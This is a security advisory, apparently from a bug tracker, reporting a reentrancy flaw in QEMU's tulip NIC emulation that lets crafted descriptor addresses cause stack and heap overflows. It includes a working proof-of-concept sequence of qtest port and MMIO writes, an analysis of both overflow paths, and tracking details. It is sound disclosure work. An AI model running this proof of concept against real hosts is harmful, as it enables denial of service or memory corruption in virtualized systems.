When tulip reads or writes to the rx/tx descriptor or copies the rx/tx frame, it doesn't check whether the destination address is its own MMIO address. So crafted content can cause the device to trigger MMIO handlers again to modify some global variables and cause stack or heap overflow.
-- [ QEMU command line:
./qemu-system-x86_64 -machine type=q35,accel=qtest -nodefaults -device tulip -qtest stdio -nographic
-- [ POC:
outl 0xcf8 0x80000804 /* PCICMD—PCI Command Register */
outl 0xcfc 0x107 /* Enables accesses*/
outl 0xcf8 0x80000814 /* Memory Bar 1*/
outl 0xcfc 0xfebf1000 /* Set MMIO Address to 0xfebf1000*/
writel 0xfebf1000 0 /* tulip_reset */
writel 0xfebf1030 0x2001 /* set csr6 flags CSR6_ST|CSR6_SR */
writel 0xfebf1020 0xfebf1008 /* set current_tx_desc to its MMIO address,and trigger tulip_desc_write */
-- [ Analysis
(1) setting s->current_rx_desc to tulip MMIO address + CSR(1).
(2) Then tulip_xmit_list_update was executed, and tulip_desc_write wrote a descriptor to its MMIO address+CSR(1).
(3) Tulip_xmit_list_update was called again.
Then，(2)(3) was executed thousands of times until the stack overflowed.
I found that the same problem could occur in tulip_receive (it can be called by mmio write) and may cause heap overflow:
(1) In tulip_copy_rx_bytes set s->current_rx_desc to its mmio address + CSR(1) via pci_dma_write, then s->rx_frame_len is set to 0.
(2) When tulip_desc_write executes, another tulip_receive is called, s->rx_frame_len can be set to a big value.
(3) But the first tulip_receive does not end,and s->rx_frame_len is bigger than s->rx_frame_size, so tulip_copy_rx_bytes causes heap overflow.
-- [ Reporter
Siqi Chen (Shanghai Jiaotong University)
Created qemu tracking bugs for this issue:
Affects: fedora-all [bug 2120641]
This bug is now closed. Further updates for individual products will be reflected on the CVE page(s):